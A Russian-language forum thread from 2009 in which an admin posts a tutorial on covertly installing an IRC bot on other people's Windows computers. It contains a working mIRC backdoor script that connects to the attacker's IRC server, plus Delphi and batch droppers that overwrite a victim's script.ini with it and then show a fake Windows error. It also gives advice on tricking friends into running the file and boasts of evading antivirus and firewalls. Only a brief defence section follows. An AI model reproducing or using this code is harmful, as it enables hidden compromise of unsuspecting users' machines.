|
|
|
DOS & Black
Четверг, 21.11.2024, 16:12 Приветствую Вас DOS
Вешаем бота на винды - Форум
Вешаем бота на винды
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:37 | Сообщение # 1 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| 1. Intro. 2. Трояны. 3. mIRC скрипты. I. пишем свой скриптовый бэкдор II. пишем на delphi прогу, которая вставит бэкдора во вражеский mIRC III. пишем на batch'ах прогу, которая вставит бэкдора во вражеский mIRC IV. cоциальный инженеринг: впариваем прогу =) 4. Оба способа в сравнении. 5. Как защититься. 6. Outro.
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:38 | Сообщение # 2 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| 1. В наши времена, среди владельцев популярных каналов, стало модным вешать на чанелы по дюжине ботов с разных linux shell'ов для обеспечения, так сказать, "безопасности канала". Я, конечно, ничего не имею против всяких там eggdrop'ов, но как быть простым смертным юзерам, у которых нет ни шелла, ни сс, ни знаний (как например у элиты с канала #31337 на сервере irc.dal.net.ru =)? Так вот в этой статье я расскажу, как повесить бота на машину с win-подобной операционкой. Имхо, существует только два способа осуществить это: трояны и трояны =) Начнём с первого. 2. Если ты был на мсне (irc.msn.com) перед его закрытием, то ,наверное, успел насладиться n-ным кол-вом ботов на каналах #russian_chat, #russian_girls, #russian_andybig и тд. Так вот, эти боты далеко не eggdrop'ы. Это, так сказать, SubSeven'ы. Слышал про такой конь? Sub7 единственный троян на моей памяти, который позволял удалённо вешать irc-бота (я давно не юзал троянов, так что не знаю, появились ли у него аналоги). Так что качай Sub'a отсюда и наслаждайся. Те же, кто не привыкли искать лёгких путей, могут читать дальше. 3. Возможности mirc-скриптов оочень даже внушительны. Написать на них тот же самый сgi-сканнер плёвое дело, не говоря уж о простеньком боте. Для примера возьмём скрипт WarSatan. В него как раз и встроен такой "простенький бот". Когда вы соединяетесь со своим любимым irc-сервером, скрипт попутно коннектит юзера guest к серверу irc.webchat.org и заводит его на каналы #CHATOP, #MEKAH и #PANGKOR. Вот и весь механизм работы. Наша задача - написать такого же простого бэкдора в виде мирк-плагина. I.
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:38 | Сообщение # 3 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| Hаиболее важные строчки буду комментировать. on 1:CONNECT:{ ;#открываем соединение с твоим irc cервером .sockopen 31337 irc_сервер его_порт } on 1:DISCONNECT:{ ;#при разрыве соединения убиваем сокет .sockclose 31337 } on 1:SOCKOPEN:31337:{ ;#авторизуемся на irc-сервере .sockwrite -n $sockname USER BOT "" "localhost" :Satanic bot .sockwrite -n $sockname NICK ник_бота $+ $r(1,999) ;#заходим на твой канал .sockwrite -n $sockname join твой_канал } on 1:SOCKREAD:31337:{ ;#этот скрипт автоматически отвечает на серверный ping ;#без него сервер будет кидать бота, потому что тот не отвечает на пинги .sockread %tmp if ($gettok(%tmp,1,32) == ping) { .sockwrite -n $sockname PONG $gettok(%tmp,2-,32) } } Убираем комментарии, подставляем свои значения, нумеруем строки (просто скопируй это всё в mIRC-редактор и сохрани - он сам всё пронумерует) и сохраняем получившееся в файл control.dll. Сам бэкдор готов. Теперь осталось вставить его в чужой script.ini. II. Вот исходник на delphi проги, которая ищет на винте файл script.ini и, при удачном исходе поиска, подменяет его нашим.
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:38 | Сообщение # 4 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| Важно! Control.dll нужно содержать в одном каталоге с данной прогой. program Project1; uses SysUtils, windows, shellapi; const search = 'script.ini'; //файл который нужно найти и заменить replace = 'control.dll'; //файл, которым надо заменить, должен быть // в том же месте откуда запуститься эта прога =) var buf: array [0..255] of char; fl: PChar; flag:boolean = false; //процедура замены файлов procedure Change(where:pchar); function CopyFile(FromFile, ToDir : string) : boolean; //функция копирования var F : TShFileOpStruct; begin F.Wnd := 0; F.wFunc := FO_COPY; FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile); ToDir:=ToDir+#0; F.pTo:=pchar(ToDir); F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT; {$I-} result:=ShFileOperation(F) = 0; {$I+} end; begin DeleteFile(where); CopyFile(replace,where) end; //процедура глоб. поиска function Find(DirN: string):boolean; var tsr: TSearchRec; Full: string; begin find:=false; if FindFirst(DirN + '*.*', faAnyFile, tsr) = 0 then repeat if (tsr.Name = '.') or (tsr.Name = '..') then continue; Full:= DirN + '' + tsr.Name; if tsr.Attr = faDirectory then //если каталог Find(Full); until (FindNext(tsr) <> 0)or(tsr.Name = search)or flag; if tsr.Name = search //если нашли then begin find:=true; flag:=true; Change(pchar(DirN+''+tsr.Name)); end; end; //Основной блок программы begin if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0 then Change(buf) else begin Find('c:'); // если надо и на других дисках искать то можешь сделать так: // if Not Find('c:') then // if Not Find('d:') then // if Not Find('e:') then //etc.... end; end.
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:38 | Сообщение # 5 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| III. Если же ты с роду не занимался кодингом и тя бросает в дрожжь от слова "компилятор", давай напишем такую прогу на batch'ах. echo off cls if exist mirc.ini goto in_the_same_dir if exist c:mircMIRC.INI set mirc=c:mirc if exist c:mircmircMIRC.INI set mirc=c:mircmirc if exist c:ircMIRC.INI set mirc=c:irc if exist c:ircmircMIRC.INI set mirc=c:ircmirc if exist c:chatmircMIRC.INI set mirc=c:chatmirc if exist c:chatMIRC.INI set mirc=c:chat if exist c:progra~1mircMIRC.INI set mirc=c:progra~1mirc if exist c:chatlooksharpMIRC.INI set look=c:chatlooksharp if exist c:mirclooksharpMIRC.INI set look=c:mirclooksharp if exist c:irclooksharpMIRC.INI set look=c:irclooksharp if exist c:progra~1looksharpMIRC.INI set look=c:progra~1looksharp if exist c:progra~1trionMIRC.INI set neo=c:progra~1trion if exist c:progra~1neo-raMIRC.INI set neo=c:progra~1neo-ra if exist c:progra~1NeoRaTrionMIRC.INI set neo=c:progra~1NeoRaTrion if exist c:progra~1NeoRaMIRC.INI set neo=c:progra~1NeoRa if exist c:chatNeoRaMIRC.INI set neo=c:chatNeoRa if exist c:ircNeoRaMIRC.INI set neo=c:ircNeoRa if exist c:chatneo-raMIRC.INI set neo=c:chatneo-ra if exist c:ircneo-raMIRC.INI set neo=c:ircneo-ra if exist c:chatTrionMIRC.INI set neo=c:chatTrion if exist c:ircTrionMIRC.INI set neo=c:ircTrion if exist c:TrionMIRC.INI set neo=c:Trion if exist c:NeoRaMIRC.INI set neo=c:NeoRa if exist c:Neo-raMIRC.INI set neo=c:Neo-ra if exist d:chatNeoRaMIRC.INI set neo_here=d:chatNeoRa if exist d:ircNeoRaMIRC.INI set neo_here=d:ircNeoRa if exist d:chatneo-raMIRC.INI set neo_here=d:chatneo-ra if exist d:ircneo-raMIRC.INI set neo_here=d:ircneo-ra if exist d:chatTrionMIRC.INI set neo_here=d:chatTrion if exist d:ircTrionMIRC.INI set neo_here=d:ircTrion if exist d:TrionMIRC.INI set neo=d:Trion if exist d:NeoRaMIRC.INI set neo=d:NeoRa if exist d:Neo-raMIRC.INI set neo=d:Neo-ra if exist d:mircMIRC.INI set mirc=d:mirc if exist d:mircmircMIRC.INI set mirc=d:mircmirc if exist d:ircMIRC.INI set mirc=d:irc if exist d:ircmircMIRC.INI set mirc=d:ircmirc if exist d:chatmircMIRC.INI set mirc=d:chatmirc if exist d:chatMIRC.INI set mirc=d:chat if exist d:looksharpMIRC.INI set look=d:looksharp if exist d:chatlooksharpMIRC.INI set look=d:chatlooksharp if exist d:mirclooksharpMIRC.INI set look=d:mirclooksharp if exist d:irclooksharpMIRC.INI set look=d:irclooksharp if "%mirc%"=="" goto no_mirc deltree /y %mirc%script.ini copy control.dll %mirc%script.ini cls :no_mirc if "%look%"=="" goto no_look deltree /y %look%Systemlookevents04.sys copy control.dll %look%Systemlookevents04.sys cls :no_look if "%neo%"=="" goto end deltree /y %neo%roottrionscr7.ini copy control.dll %neo%roottrionscr7.ini cls goto end :in_the_same_dir deltree /y script.ini copy control.dll script.ini :end echo Your Microsoft Windows is not correctly installed. echo Pleas re-install it and try again Эта байда методом тыка ищет mIRC, NeoRa Trion и Looksharp. Вероятность нахождения довольно незначительна, так что желательно уломать субъекта положить это файло вместе с control.dll в один каталог с его irc-клиентом. В случае удачного исхода поиска, файло подменяет чужой script.ini нашим control.dll. Сконвертируй этот bat'ник в exe'шник каким-нибудь bat2exec'ом и можешь впаривать своим друзьям.
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:39 | Сообщение # 6 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| IV. Думаю, не мне тебе рассказывать о том, как "впаривать" кому-то exe'шник. Просто хочется подчеркнуть одну особенность. Согласись, просьба запустить твой exe'шник вызывет подозрение даже у самого недалёкого юзера. Так что, можно пойти другим путём. Для этого вернёмся к пункту I. НЕ НУМЕРУЙ строчки скрипта, просто засунь его в файл joke.mrc. Всё. Теперь раздавай его своим друзьям со словами: положи его в каталог со своим мирком, введи в его консоли "/load -rs joke.mrc" и наслаждайся всеми прелестями плагина =) 4. И так, чем же способ с подменой script.ini лучше? 1) не ловится антивирусами 2) не ловится FairWall'ами. Думаю, многие сразу с пеной изо рта начнут доказывать, что ZoneAlarm и AtGuard оберегут их от этого. Спец для них объясняю: если mIRC в этих двух фаирволах прописан как Allowed serverclient, то фв даже не пикнет при открытии соединения бэкдором. 3) трудно обнаружитьубить даже опытному юзеру 5. Ну а теперь о том, как собственно защититься. Опять же не буду рассматривать способ с Sub7'ом (т.к. с ним всё понятно: AVP + ZoneAlarm), сразу перейду ко второму. Для обнаружения скриптового бэкдора стоит воспользоваться каким-нибудь mIRC плагином вроди IPSearch'a, который поискал бы на сервере юзера с таким же ипом как у тебя. Если таковой имеется, значит кто-то однозначно повесил на тебя бота. Если же такой не найден, значит или бот на другом сервере, или ты чист. Также, для обнаружения бота можно использовать тот же самый ZAlarm: на данный момент, крупнейшие IRC серверы, проверяют всех клиентов на прокси. Каким образом? Простым сканированием портов. Так вот, если ты коннектишься к серверу irc.some.com, a порты у тя сканирует какой-нибудь irc.lame.com, то стоит задумкаться... Как убить бэкдора? Если не разбираешься в скриптинге, просто переустанови irc клиент. 6. Ну что можно сказать в завершении? Не юзайте незнакомые скрипты и не заставляйте других это делать =)
:)
|
|
| |
|
|